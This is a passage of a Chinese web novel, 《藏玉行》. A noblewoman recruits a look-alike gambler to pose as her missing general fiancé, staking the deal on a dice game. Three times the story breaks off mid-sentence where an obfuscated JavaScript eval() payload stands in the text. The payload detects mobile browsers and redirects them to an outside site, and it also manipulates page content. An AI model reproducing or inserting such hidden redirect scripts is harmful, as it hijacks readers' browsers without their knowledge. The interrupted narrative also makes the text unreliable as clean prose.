《藏玉行》 1. 铜雀楼 燕国帝都,天启城。 自大燕开国建都,此处便是天下最热闹繁华的场所。 此后数百年间,历经数代帝王励精图治,天启更是成为了各国通商贸易和文化交流的中心。 至武曜帝登基,边关之处虽是战乱频频,烽火不断,城中却依旧是一副“月色灯光满帝都,香车宝辇隘通衢”的灿烂景象。 夜色初上,地处城南的福寿大街灯火次地亮起。 街尾那间名叫铜雀楼的赌坊门前,年轻的小伙计冲着来往的路人,满脸堆笑地招揽着生意 “这位大哥,进来玩两把吧!我看你满面红光,气色正好,想来今天的手气一定很不错!” 被他招呼的那个胖子却显然很是犹豫,探头探脑地朝着赌坊内张望了一阵后,最终还是摇了摇头。 “算了算了。如今世道不好,总是打仗,这安稳的日子还不知能过多久。要是把钱都扔在了你们这了,真出了乱子还不知道该怎么办呢!” “嗨!打仗怕什么?之前又不是没打过……” 不知是为了劝胖子入局,还是真的对当下的形式一无所知,小伙计满是不以为然地摇了摇头:“庆国狼子野心,对我大燕起兵挑衅也不是一次两次了,可哪一次不是灰溜溜地投降认输?照我说啊,只要有裴将军在,咱们燕国就乱不了!” “可如今不是裴将军出事了吗?” 那胖子显然比日常在赌坊出没,除了马吊牌九之外,两耳不闻天下事的小伙计更了解战事时局。 见他满脸嬉笑,当即压低了声音,悄声表示:“我可听说不久之前咱们与庆国大军在涧云峡打的那一仗,情况可是十分惨烈。不仅前线的士兵死伤过半,就连裴将军也以身殉国了!朝廷担心引发混乱,才一直把消息给压着……” “什么???” 在燕国百姓心中,虎贲将军裴行州一直是护国柱石般让人安心的存在。 此刻听闻他已然阵亡的消息,小伙计心惊之余,不由得紧张了起来:“就算裴将军真的不在了,可他不是还有个挺厉害的儿子吗?有他在的话……应该不会出什么乱子吧?” “你说的是裴瑾小将军吧?” 裴行州的独子裴瑾十六岁随父出征,在边关驻守八年,立下战功无数,两年前更是被武曜帝亲封云麾将军。 此刻听小伙计提及他的名号,胖子的表情变得越发凝重:“可我还听说,那场大战之后,裴小将军就忽然失踪了,眼下是生是死,可是谁也不知道。昨儿我还听人议论,裴小将军很有可能是私下通敌,暗中归降了庆国,才会一直都没有消息……” “放你娘的狗屁!!!” 虽然对军中之事所知甚少,但对于多年以来驻守边关,保得燕国长治久安的裴家父子,小伙计却是心存敬慕。 此刻听到这些不堪的八卦,他只觉又惊又恼,不禁怒声斥骂道:“裴家世代忠良,裴小将军更是咱们大燕赫赫有名的战神!过去这些年,他为咱们大燕打了多少胜仗,杀了多少敌人,怎么会忽然就投敌叛国了?一定是庆国那些奸人想要败坏他的名声,才会编出这些鬼话,往裴小将军身上泼脏水!以后再让我听到有人胡言乱语,一定骂到他亲娘都不认识!” “是是是!其实吧……我也是这么想的!” 眼见小伙计越骂越凶,似乎把自己也给骂了进去,那胖子不敢再自讨没趣,应声敷衍了几句后,便脚底抹油,匆匆离开了。 **************************** 胖子这一走,小伙计一时间也没了再揽客的兴致,意兴阑珊之下,就准备回坊中干活。 还没来得及转身,街口的地方光线一晃,赫然出现了两个人影。 片刻之后,那两道人影由远及近,切开了浓墨的夜色,最终竟是在铜雀楼的门前停了下来。 小伙计偷眼将两人打量了一番,心中不自觉地倒抽了一口凉气,面对这突如其来的贵客,一时间竟不知该不该主动招呼。 靠前站着的是个二十出头的小公子,身姿修长,面若冠玉。 虽然衣着打扮十分素雅,身上除了一把长剑外并没没有佩戴任何珠宝玉饰,但举手投足之间满是清贵之气,显然出身极好。 在他身后之人模样更是低调,浑身都裹在一件黑色的流云纹披风里,头上也被黑纱罩着。 但光看那纤细的体型和妙曼的身姿,还是能很快判断出,那是个身世高贵的妙龄女郎。 燕国风气开放,女性亦可与男子一样参与祭祀、朝政、娱乐之类的活动,但即便如此,除了少许作风彪悍的市井村妇外,很少会有女子在赌坊间出没。 富贵人家的夫人小姐自矜身份,对于这种乌烟瘴气的地方,更是唯恐避之不及。 但那清贵公子却像是对这年轻的女子极为尊敬,抬眼看了看铜雀楼的招牌后,很快压低了声音:“姐姐,应该就是这里了……咱们现在进去吗?” 女郎抬起眼睛,微微颔首。 目光落在招牌上时,檐角的铜雀铃竟是无风自转,发出了轻微的呜咽声。 没等小伙计有所反应,一锭沉甸甸的银子已经放在了他手里。 紧接着,那小公子的声音在他耳边轻轻响起:“劳烦,给我们安排个包间。” 和大多数赌坊一样,铜雀楼也在二楼的地方设置了雅座包间,用来招呼一些不欲在大庭广众之下抛头露面的尊贵客人。 此刻面对那么一锭沉甸甸的银子,小伙计自然不敢有所怠慢,赶紧一路恭恭敬敬地将他们送上二楼最气派的一间包间,紧接着又立马打来了水,态度殷勤地把落着灰尘的桌椅板凳都卖力擦拭了一遍。 然而两位客人却丝毫没有要落座的意思,进屋之后就快步走到了窗边,朝着大厅的方向观望了起来。 眼见如此,小伙计也跟着凑了过去,嘴里还不忘热情地招呼着:“两位如果觉得有什么不满意的地方,尽管和我说!咱们这铜雀楼虽然环境是简陋了点,但该有的服务,咱们也都是有的……” 没等他把话说完,那清贵公子已经抬起手臂,向着某个方向指了指:“你先别忙活了,且过来看看,那个人你认识吗?” “谁?” 小伙计有点好奇地顺着他手指的方向凝神看了看,然后很快笑了出来:“公子问的是小马啊?他是咱们这儿的常客了。不过因为性子太无赖,又喜欢出千作假,前两天还被人追着揍了两条街呢!没想到这伤还没好全,今天居然又来了……” 在他唠唠叨叨地解释声中,女郎黛眉微挑,目光已经牢牢锁定在了他们的谈论对象身上。 那是一个摸约二十出头的小青年,剑眉入鬓,眼泛桃花,长着一张讨人喜欢的好脸孔。 若是好好收拾一下,不知会成为多少怀春少女的春闺梦中人。 可是眼下,那张脸的主人似乎已经被眼前的赌局吸引了全部的注意力,双眼赤红地盯着桌上的骰盅。 脏兮兮的五官在烛火的映照下泛着油光,伴随着各种抓耳挠腮的小动作,让他看上去市侩又轻浮。 片刻之后,随着骰盅被掀开,震天的欢呼和咒骂声再次响起,又是几家欢喜几家愁。 一片喧嚣声中,小马嘴唇嗡动着,像是心有不甘地骂了几句脏话。 紧接着,他后退了两步,原本抱在胸前的那只手,悄无声息地伸向身旁一个胖子的荷包。 那小公子原本只是凝神看着,忽然见他行窃,不禁有些嫌恶地皱紧了眉头。 小伙计见状更是惊惶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221094|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但暂时摸不清身边的两位贵客和对方究竟是什么关系的情况下,一时间也不知该作何反应。 正值尴尬之际,原本还因为赢钱而兴高采烈的胖子似乎在旁人的提醒下觉察到了什么,扭身钳住了窃贼的肩膀,开始厉声质问。 短暂的慌乱之后,小马很快就跳了起来,将自己的衣物里里外外地拍打了一遍,像是要证明自己清白无辜。 包房里的三人站在高处,对大厅里的一切看的分明,早已发现小马偷走荷包之后,立马手脚麻利地将它塞在了赌桌下方的阴影处,大概是想等胖子走了以后,再偷偷取走。 眼下虽是被抓了个正着,但没有实证的情况下,显然是打算抵赖到底,死咬牙关不松口。 只是那胖子也并不是什么好糊弄的角色,虽然没能从他身上搜出什么,但却也没有要息事宁人的意思。 几番拉扯之后,胖子很快失去了耐性,眼中凶光一闪,直接重重一脚揣向了他的腹部。 一片惊呼声中,小马的身体凌空飞起,向后摔去。 随着“啪”的一声响,他整个人像烂泥一样趴在了地上,挣扎了好几下也没能再站起来。 见他如此狼狈,有人动了恻隐之心,忍不住开始劝和:“小马你就别嘴硬了,刚才你的那些小动作,咱们可都看到了,你难道还想抵赖不成?赶紧把东西交出来,这事也就过去了,不然就老王那暴脾气,可得送你去官府……” “放屁!你他妈哪只眼睛看到他的东西是我拿的啊?乱说话小心死全家!” 面对旁人好意,小马却并不领情。 人虽还没能站起来,但嘴里却已经不干不净地骂开了:“老子今天也不知是倒了什么大霉,一直输钱不说,还莫名其妙被人打了一顿。老子今天就把话放这了,有本事就把我打死!要是打不死,怎么着也得赔我点钱让我去看大夫……” 众目睽睽之下,一个人能撒泼耍赖到这般地步,也是让人叹为观止。 一时间,不仅是包房中的几位大皱眉头,围观的人群也发出了阵阵嘘声。 眼见形式越演越烈,再闹腾下去场子里的生意怕是没法做了,小伙计不敢再耽误,哀声一叹后,就准备下楼收拾烂摊子。 刚走到房门口,一道清冽的声音却忽然叫住了他:“这位小哥,麻烦稍等一下!” 小伙计闻言一愣,赶紧恭恭敬敬地回身应道:“您是有什么吩咐吗?” 女郎点了点头,口气不急不徐,却带着一股让人难以抗拒的气势:“我们姐弟难得出门玩一次,实在不想因为一些不必要的麻烦扰了心情。所以还想劳烦你去问问楼下那位客人,究竟损失了多少银子,我们一并赔了就是,至于官府那边……就没必要再惊动了。” 有人愿意出钱帮着息事宁人,自然是天大的好事。 但小伙计毕竟在这赌坊之中混久了,也明白天上没有白掉馅饼的道理。 略加犹豫后,他讪讪地笑了起来:“您这边愿意帮着息事宁人自然是好,但若是客人问起来,我该如何解释?” “你便说我们是小马的朋友,对方收了银子,想来不会再多事。” “那小马那边呢?” 小伙计依旧不放心,忍不住强调:“那小子可是无赖得很,若是知道有人肯替他赔钱,铁定会想再捞点好处!到时候若是缠上了您,只怕就不好应付了……” 看那混混之前的表现,显然不是懂得知恩图报,见好就收之人。 一旦知道了有金主愿意掏银子换清净,必定会不依不饶地继续生事。 女郎却似乎早已拿定了主意,神情依旧一派悠然:“此事倒也不难。他不是喜欢赌吗?若他愿意,你就将他带上楼来陪我们姐弟上玩上几把,就当作是还我们的人情了。” 2. 赌局 那个名叫小马的混混被小伙计带进包房时,女郎已经取下了头上的黑纱,安静地坐了下来。 与之同行的青年则姿态笔挺地站在她身后,犹如一把利剑一般。 大概是已经从小伙计那里听闻了事情的前因后果,小马表现得很是兴奋,进门之后眼睛就滴溜溜地开始四下打量,脸上写满了跃跃欲试。 然而当他的目光落到女郎身上时,眼睛却猛地亮了起来,整个人像被施了定身法一般,目不转睛地瞪向了对方。 虽然身家拮据,能和名门闺秀见面的机会并不多,但天启城内妓馆众多,勾栏里的姑娘们当街挥舞着手绢招揽客人的场面他却也见过不少。 那些姑娘们虽说环肥燕瘦,姿容各有不同,却个个笑容妩媚,举止风流。 媚眼如丝之间,再娇滴滴地叫上一句“好哥哥”,直接能让人的骨头都酥掉。 可是眼前的女郎眉目如画,眼似辰星,容颜之盛,竟是比他见过的任何一个头牌花魁都要动人。 见他眼睛直勾勾的盯着自己,像个无礼的登徒子,女郎也不生气,反而弯眉一笑,主动打起了招呼:“特意让人把你请上来,没耽误你的事吧?” “没有没有!和谁赌钱不是赌?何况还是你这么个漂亮姑娘?” 说到“赌”字,小马瞬间来了精神,也不等主人家招呼,便大刺刺地往桌前一坐:“你把我叫上来,是想玩点什么啊?骰子?牌九?番摊?还是马吊?” 女郎笑而不语,目光却轻飘飘地朝着小伙计的方向瞥去。 原本还站在一旁等着看戏的小伙计立马反应了过来,赶紧知情识趣地退了出去,顺手把房门给关上了。 小伙计这一走,房间里顿时只剩下了三名赌客。 女郎却依旧表现得不急不徐,先是抬手给双方都斟了杯茶,才曼声表示:“俗话说,相逢即是缘。咱们今天既然有缘坐在一起,不如先互相认识认识?” 赌坊之内龙蛇混杂,充斥着身份各异的三教九流。 但若非必要,赌客之间并没有彼此打探身份来历的习惯。 此刻听她发问,小马很明显是愣了愣,半晌之后,才不情不愿地哼了个声音出来:“我姓马,全名马小六,你叫我小马便是了。” 市井之人养孩子大多粗糙,按照辈分排行随意取个名字也是常有的事。 但这小混混回答问题时目光微闪,似有狡黠之意,很显然这个随口报出的“马小六”,大概率不是一个真名。 对于这显而易见的敷衍回答,女郎却不以为意,点头之后又继续问道:“我听人说,你是一个月前才出现在铜雀楼的,那你能不能告诉我,你出身何处?家里都有些什么人?在帝都呆了多久?之前是做什么的?” 对于接踵而来的问题,马小六明显有些不耐烦。 但提问之人不久之前才掏出银子替他解了围,又是个姿容出众的漂亮女郎,因此,他再是不情愿也好,还是粗声粗气地回答道:“我生下来不久就被父母抛弃了,是在一个走江湖的杂戏班子里长大的,所以不知道自己出身何处,也没见过自己的家人。几个月老班主死了,杂戏班子也跟着散了,我实在没地方去,就说来帝都碰碰运气……反正天无绝人之路,人总得要想法子赚钱活下去不是?” 所谓想法子赚钱,最后却是扎根在了赌坊里,而且还因为出千偷窃和欠债,时常被人唾弃追打…… 看来这人也没存过什么踏踏实实过日子的心思。 女郎心下不屑,表面却依旧不动声色:“如此说来,你并未婚娶?” “那不废话吗?” 听到“婚娶”二字,马小六那张一直满不在乎的脸上,终于露出惆怅之色:“说起来,这帝都里的美貌女子倒是不少,但一个个却是凶得很。若是脾气没那么坏的,要价又实在太高!而且那些女子吧,每天迎来送往那么多客人,就算长得再美,也实在不适合娶进家门当媳妇……” 女郎实在没想到他已经窘困至此,满脑子竟然还都是那些乱七八糟的风月之事,嫌恶之下,不禁赶紧打断了他:“那亲戚朋友呢,你平日里有来往的多么?” “我爹娘是谁都不知道,哪里来的亲戚啊?至于朋友嘛……我刚来这没多久,人生地不熟的,倒也没交上几个……” “既是如此,那便最好不过了。” “……” 几番问答下来,马小六早已是满心不耐,此刻见对方似有幸灾乐祸之意,一时间也不禁羞恼了起来:“你究竟什么意思啊?找我过来寻开心么?七七八八问了这么多,你究竟还要不要赌?” “当然赌!” 见他恼羞成怒,女郎将手中的茶盏一放,终于切入了正题:“不过既是要赌,咱们就先说说赌注。接下去的赌局,你若是赢了,便可以随意提要求。只要在我的能力范围内,便一定替你办到,你看怎么样?” 从女郎的气度举止来看,显然是个不缺钱的主,到时候就算要她头上那根珠钗,换来的银子也足够自己吃喝不愁好一阵。 想到这里,马小六只觉自己占了大便宜,忍不住就想点头应承下来。 但转念之间,他还是忍不住多问了一句:“那如果我输了呢?你想要什么?” “你输了?” 女郎微微一笑,口气里都是漫不经心:“若是你输了,便跟我回家,做我的夫婿如何?” “……” 马小六常日混迹赌坊,各种奇闻异事早已屡见不鲜。 遇到山穷水尽之时,输红了眼的赌客们将房屋土地、老婆孩子,甚至自己的性命压上赌桌也算是常有的事。 然而眼下,女郎这轻飘飘的一句话,却让他瞬间乱了手脚。 惊诧之下,竟是身子一软,直接从椅子上摔了下来。 对于他这惊惊乍乍的反应,一直沉默旁观的青年像是有些不忍直视,满眼嫌弃地将头扭向了一边。 女郎却依旧脸带笑意,声音里也多出了几分挑逗:“怎么?你不愿意么?” “那倒也不是啦……” 眼前坐着的是如此一个姿容绝秀,风姿卓越的妙龄女郎,即便忽略出身家世,也不是普通人轻易能够奢想的。 马小六再是不知天高地厚,却也清楚这种泼天的富贵不会无缘无故地落到自己头上。 等到好不容易手脚并用地从地上爬起来后,他清了清嗓子,小心翼翼地试探道:“既然要谈婚论嫁,总得先告诉我你是谁吧?” “那是自然!” 女郎点了点头,一脸从容的做起了自我介绍:“我姓温,温沉吟。” 然后她朝着身旁的青年指了指:“这是我的弟弟,温珩。” 眼下这间包房内,若是坐着的不是马小六,而是任何一个对朝臣之事有所了解的世家子弟,一定会因为这两个名字的出现而惊诧不已。 因为他们大多知道,当朝侍卫司统领温北堂膝下有着一双儿女,分别取名“温琇”与“温珩”。 只是温琇五岁那年,在历经了一场重大的变故之后,便不顾父亲的反对,执意将自己的名字改作了“温沉吟”。 至此之后,在他们眼中,温沉吟便成为了叛逆不孝的代名词。 身为重臣之女,会漏夜出现在这种市井赌坊里,还和一个小混混说起了婚嫁之事,实在是有太过辱没自己的身份。 只是马小六出身低微,自然对这些朝臣们的家事一无所知,更不会懂“温沉吟”这个名字究竟意味着什么。 得知了对方的姓名后,他也只是不痛不痒地“哦”了一声,便继续问道:“还有啊……赌坊里每天来往的人这么多,你就算想谈婚论嫁,为何偏偏会找上我?” 温沉吟神色不变:“那自然是因为你的脸。” “我的脸?我的脸怎么了?” 马小六满是不解地在自己脸上摸了摸,表情越发困惑。 在江湖中混迹了这些年,他自然清楚自己长相俊俏。有时候实在缺银子了,也会仗着自己的容貌上的优势,一脸乖顺地在女人扎堆的地方讨口饭吃。 可要说富家小姐因为看中了他的长相,便放下身段主动求嫁,他却自认还没这个本事。 在他一脸茫然的表情里,温沉吟波澜不惊的声音里终于多出了几分微妙的情绪:“难道就从没有人告诉过你,你和咱们大燕国的云麾将军裴瑾,长得实在是很像吗?” 话虽是这么问了,但答案温沉吟心里却很清楚。 武曜二十九年,裴瑾随父亲离开帝都去往北境边关驻守时,年仅十六岁,还是身量纤纤的少年模样。 此后的八年里,经由一场场战事的磨砺,他的骨血不断丰满,逐渐长成了沉稳俊朗,威震四方的青年将军。 八年的时光中,因为忙于战事,他回到帝都述职探亲的次数不过寥寥。 即便是回了天启,大多数时间也是奔波于朝堂之上,为军务之事忙碌着。 身为他的未过门的妻子,自己与他见面的时间也十分有限,普通的市井草民又怎么会知道他究竟是何样貌? 马小六显然也意识到了这一点,微愣之后,便梗着脖子申辩了起来:“云麾将军那种大人物哪里是我们这些普通人能轻易见到的?更何况, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221095|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算我和他长得像,难道还能和他拜把子不成?” 他顿了顿,口气里多了几分猥琐:“你说了这么半天了,究竟是想说什么?难不成是你看上了人家,又求而不得,才想找个容貌与他相似之人一偿心愿?” 虽然很清楚,马小六那满是下流的模样不过是想要激她说出真相,但温沉吟还是认真解释道:“我十七岁那年,蒙陛下赐婚,便已与裴瑾曾定下婚约,所以从名分上讲,我已是他未过门的妻子。” “既是如此,你直接嫁给他不就好了?还来找我干什么?” “因为三个月前,燕庆两军在涧云峡一战后,他就此失踪,至今音讯全无。我虽一直在寻找他的行踪,却并无结果……” “那你继续找人不就是了,干嘛要那么着急嫁人?” “那是因为,近些日子我得到消息,有人向陛下进言,云麾将军失踪至今,或许已然身死。因此想毁了之前的婚约,让我嫁入凉国,与他们的平阳王世子成婚……” “啊?” 马小六没想到等了半天,等到的居然是这么一个答案,一时间也觉得满心不忿:“凉国那地方我曾经去过,常年天寒地冻又没什么好吃的,男人一个个粗蛮无礼,还大多样貌丑陋。想把你嫁过去的人,铁定没安好心……” 没等温沉吟回应,他心中灵光一闪,已然意识到了什么,随即惊呼道:“所以你特意把我找来,该不是想让我冒充失踪的云麾将军与你成婚,这样你就不用嫁去凉国了吧???” “正是如此。” 对方反应极快,倒是有些出乎温沉吟的意料,不过这却让接下去的解释变得容易了很多:“简而言之,若你答应此事,便算是赌局的开始。只要你能配合得当,能彻底打消陛下将我嫁去凉国的念头,那便算是赢了。到了那个时候,我会给你五千两银子,将你送出天启,然后你便可以去任何你想去的地方,过你自己想过的生活……” 虽然五千两银子实在不是一笔小数目,足够他躺在上面开开心心地过完下半辈子,但假冒官家小姐的未婚夫婿毕竟不是件小事。 更何况,他要冒充的,还是战果累累,在军士之中威信极高的青年战神。 因此,马小六再是蠢蠢欲动也好,却还是保持着谨慎的态度:“若在此期间,我被人识破,那结果又会如何?” 温沉吟哧声一笑,像是听到了什么天大的笑话一般:“若是被人识破,那便是欺君之罪,你说结果会如何?” “……” 虽然已经有所预料,但残酷的答案还是打碎了马小六心中最后一点幻想。 失望之下,他手脚一软,彻底瘫在了椅子上:“银子虽好,但也得有命花才是。欺君之罪可是要掉脑袋的,我可还想多活几年……” 听他就此打起了退堂鼓,温沉吟神色不变:“所以你的意思是,不想赌了,是么?” 马小六刚想点头,忽然瞥见了旁边的面若寒霜的温珩,瞬间心下一凌,不由得缩紧了脑袋:“若我说是,你该不会想要杀我灭口吧?” “当然不会。” “此话当真?” “我为何要骗你?” 温沉吟似乎被他那战战兢兢地模样逗笑了,耐心解释道:“此事要成,需得你心甘情愿,若是勉强为之,对我而言也是风险。而且追根究底,此事其实与你无关,若是你实在不愿,我便送你一百两银子,权当一点心意……” 听到有一百两银子可拿,马小六眼睛一亮,像是对这个方案十分满意。 然而还没等他点头,温沉吟已然继续表示:“当然,大家相识一场,怎么说也是缘分。所以除了银子之外,我还会安排人和城里的赌坊都打声招呼。以后但凡你遇到什么麻烦,便会有我温府之人替你解决,这样一来,想必你的日子也能好过些。” 在她轻言细语的解释声中,一张银票被温珩扔在了桌上。 马小六颤颤巍巍地捡起了那张银票,反复翻看着,表情却变得有些为难。 温沉吟冷眼旁观了一阵,见他始终犹豫不决,心中发出了一丝冷笑,但口气还是客客气气地:“怎么了?你是嫌这些银子太少了么?” “少倒是不少。只是明明有五千两可拿,却只带走这些,好像是有点太亏了……” 问答之间,马小六像是彻底下定了决心。 干笑一声后,便狠狠把那张银票重新拍回了桌子上:“虽然风险是大了点,但银子都放到眼前了,哪有不赌的道理?老子的命反正也不值钱,干脆就交给老天!只要今日你能赢了我,后面那场的赌局,老子就舍命陪你赌了!” 3. 输赢 一言终了,马小六没有再耽搁,很快将脊背一挺,咬牙切齿地端坐到了赌桌前。 对于他的决定,温沉吟似乎也并不意外,眉角一扬便进入了正题:“我很少进赌坊,所知也有限,所以大概也就只能和你玩玩骰子。不过这其中的规矩,还得劳烦你仔细和我说说。” 掷骰子比大小是赌坊之中最常见的一种赌博方式,基本规则是,由庄家将三粒骰子放在骰盅内摇点,落定之后由赌客们猜大小。 若总点数为十一至十七之间,则为大,为四至十之间,则为小。 但无论压大或压小,如果最终的结果为三颗骰子同数,则都是赌客输。 只是眼下赌桌之上就他们两人,以温珩的身份立场,也并不适合做庄家。 彼此都想速战速决的情况下,双方都不欲再惊动旁人。 因此,温沉吟话音刚落,马小六就满是不耐地摇了摇头:“规矩什么的,咱们也不用计较了。就用最简单的方法,一颗骰子比大小,你看怎么样?” 温沉吟想了想:“若是双方摇出的是一样的大小呢?难不成还要一直无止无休地赌下去?” 马小六偷眼旁观了一阵,只看她拿骰盅的姿势,便已判断出她的确是个生手,于是越发肆无忌惮:“你不会玩,我也不欺负你,若是大小一样,那就算我输好了!” 一个偷了钱之后宁愿在众目睽睽之下被揍得鼻青脸肿也不愿把赃物交出来的小混混忽然变得如此慷慨大方,难免让人心下生疑。 惊诧之下,温珩忽然想起小伙计曾经说过,此人喜欢出千作假,忍不住赶紧提醒道:“姐,此人生性狡猾,手脚又不干净,你可得小心些。” 对于温珩的评价,马小六显然很不高兴,但碍于对方的气势,又不敢公然呛声,于是只能翻着眼睛嘟嘟囔囔地抱怨了几句。 温沉吟却像是没明白自家弟弟的顾虑所在,随意点头说了句“好”之后,便从那些形形色色地赌具里拿出了一枚骰子和一个骰盅,放到了桌子正中央:“这些东西都是赌坊准备的,想来也没人动过手脚,你若没有异议,咱们就都用它如何?” 马小六“嗯”了一声,目光牢牢地锁定在了她纤细白皙的一双手上,神色也凝重了起来。 温沉吟却依旧气定神闲,将骰子放进骰盅,随意摇晃了几下后,就准备掀盅看点。 不料骰子转动的声音才停,马小六却脸色微变,忽然探身压住了她的手背:“那个……你先等一下……” 温珩原本已经屏息凝神,就等待着看开盅后的结果,没想到骰盅还没掀开,那小混混竟然先对自己的姐姐动起了手脚。 情急之下,他赶紧踏前一步,重重往他手上一拍,口中厉声呵斥道:“干什么?把你的脏手拿开!” 马小六没想到他一言不合就动手,一时间疼得脸色都白了。 捂着手背抽了半天凉气后,他才嗫嗫表示:“你这么凶干什么?我就是忽然想到,有些规矩刚才忘了说!” 对于他那些冒冒失失的举动,温沉吟也不着恼,口气依旧轻轻柔柔地:“你那还有什么规矩,不如一次性把话说清楚。” 有温珩虎视眈眈地站在一旁,马小六心下生惧,说起话来也带着几分小心翼翼地劲儿:“其实倒也不算规矩,我就是想着吧,这事毕竟关乎性命,一局定生死是不是也太草率了些?毕竟这段时间老天不开眼,没少让我触霉头……” 温沉吟不置可否地看着他:“那你究竟想怎么样?” 听她口气温和,似是有可商量的余地,马小六嘿声笑了起来:“要不咱们就三局两胜,无论结果如何,都愿赌服输?” 温珩不清楚三局两胜还是一局定胜负之间究竟有什么差别,但也明白这个小混混必定不会无缘无故地忽然生事。 正打算开口拒绝,温沉吟已经眉头一挑:“那就这么说定了?” “说定了!” “好!” 随着她这声回答,倒扣在桌上的骰盅已然被掀开。 烛火的映照下,一枚六点朝上的骰子赫然出现在了众人眼前。 温珩暗中松了一口气,晃眼之间,却发现马小六虽是满脸不爽,但却没表现得太过意外,像是这个结果早在他的预料之中。 电光火石之间,温珩已然反应了过来。 这个小混混日常混迹于赌坊,想来除了出千骗人的那些下作手段外,大概也练就了一些听声辨形的本事,所以在自家姐姐摇完骰盅之后,他便已经猜到了骰子的点数。 知道自己必输无疑的情况下,才会临时提出三局两胜这一出。 毕竟温沉吟从未出入过赌坊,此番能摇出六点全凭运气,但这种好运却未必次次都有。 但马小六既然能够听声辨形,想来在摇骰一事上,也能动不少手脚。 有了这番定论后,温珩难免心中发急,但一切只凭猜测,没有实证的情况下,他又无法多说什么。 而另一边,胜负已成定数的情况下,马小六也没再闹腾,随手摇出个四点之后,便结束了首局的战斗。 第二局开场,依旧是温沉吟先摇。 只是这一次,幸运之神不再对她有所眷顾。 见她最后只摇了个不大不小的三点,马小六瞬间来了精神,捞过骰盅之后犹如做法一般,上下左右不断摆弄着,摇出了一片眼花缭乱。 最后骰盅打开之后,赫然是一个鲜艳的五点。 双方各胜一局的情况下,最终的结果只待最后一局见分晓。 温沉吟依旧保持着悠闲又淡然的状态,似乎根本没把最后的输赢放在心上,马小六却牙根紧咬,像是有些紧张。 沉默之间,原本已经做好了准备温沉吟像是想到了什么一样,放下了手里的骰盅,向前推了推:“之前两次都是我先摇的,如今只剩最后一局了,为了公平起见,要不换你先?” 这个要求并不过分,如今对方客客气气的开口,更是让人难以拒绝。 马小六一言不发地接过骰盅,随手晃了几下,便“啪”第一声砸在了桌上。 片刻之后,随着一个红艳艳的六点出现,他重重喘了一口气,脸上写满了如释重负。 “看来你今天的运气实在不怎么样,如今随便怎么摇,点数也不可能比我更高了。既然胜负已定,那这一百两银子,我可就带走了。” “胜负已定?不见得吧?” 温沉吟显然还未放弃,一边捡起桌上的骰子,一边轻声提醒道:“你方才不是说了,若是大小一样,也算是你输么?或许最后一把,我摇出来的也是个六点呢?” “……” 一颗六面形的骰子想要摇出六点的机率甚至不到两成。 最后这局,他也是在心中求了半天神佛,又用尽了毕生所学,才摇出了这么一个理想的点数。 对方虽然是个从未踏足过赌坊的官家小姐,但从行事作风来看,显然是个有勇有谋之人,不会想不到这一点。 如今这般执着,也不知是单纯地不甘心,还是垂死挣扎,想要最后一搏。 念头至此,马小六暗中叹了口气,只能重新坐了下来。 开摇之前,温沉吟却再次停出了新的要求:“方才你说,我今天运气似乎不太好,我想大概是和这骰子八字不合……既是如此,我能不能换一颗?” 胜券在握的情况下,马小六也没打算在这种无关紧要的小事上计较:“既然你想换,那就换吧。要不就让小伙计拿些骰子上来,你自己挑挑?” “何必那么麻烦?” 温沉吟显然早有打算,当即将手一伸,指向了他的脖颈:“你身上不是有颗现成的么?那就用它好了!” 从马小六进门那一刻,温沉吟就留意到了他的脖子上,用一条半红不黑的绳子挂了一颗骰子。 出身于书香门第之人喜欢随身带笔砚,热衷于兵法武学之人则习惯于随身佩刀剑。 对于马小六这种长期混迹于赌坊的混混而言,将骰子当作装饰带在身上,似乎也不算什么稀罕事。 不料她话音刚落,马小六去明显表情一滞:“不必了吧……这里是赌坊,要什么样的骰子没有,干嘛偏偏要用它?” 温沉吟原本只是随口试探,见他意欲推诿,反而坚持了起来:“这颗骰子既然被你随身带着,想来不是凡俗之物。用它来决定咱们接下去的命运,不是刚好合适吗?” 眼见对方还要推诿,她眉角一挑,口气里已经多出了几分嘲讽:“还是说……这枚骰子原本不是你的。你从别人手里偷拿了,于是做贼心虚,怕它报复,才会如此推三阻四?” “谁做贼心虚了?你少在这触我霉头!” 不过三言两语之间,马小六已经被她激怒,念叨了几句后牙齿一咬,就将脖子上挂着的那颗骰子摘了下来,小心翼翼地放到了她手中。 温沉吟轻轻捻起,暗中掂量了一下。 从外表看,它和普通的骰子并没什么不同。 只是触手柔腻,十分光滑,显然经常被人握在掌心里盘揉婆娑。 一个喜欢出千的小混混,随身带着这么一枚骰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221096|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,而且看上去极其珍视,想来这颗骰子必定有什么特别的来历 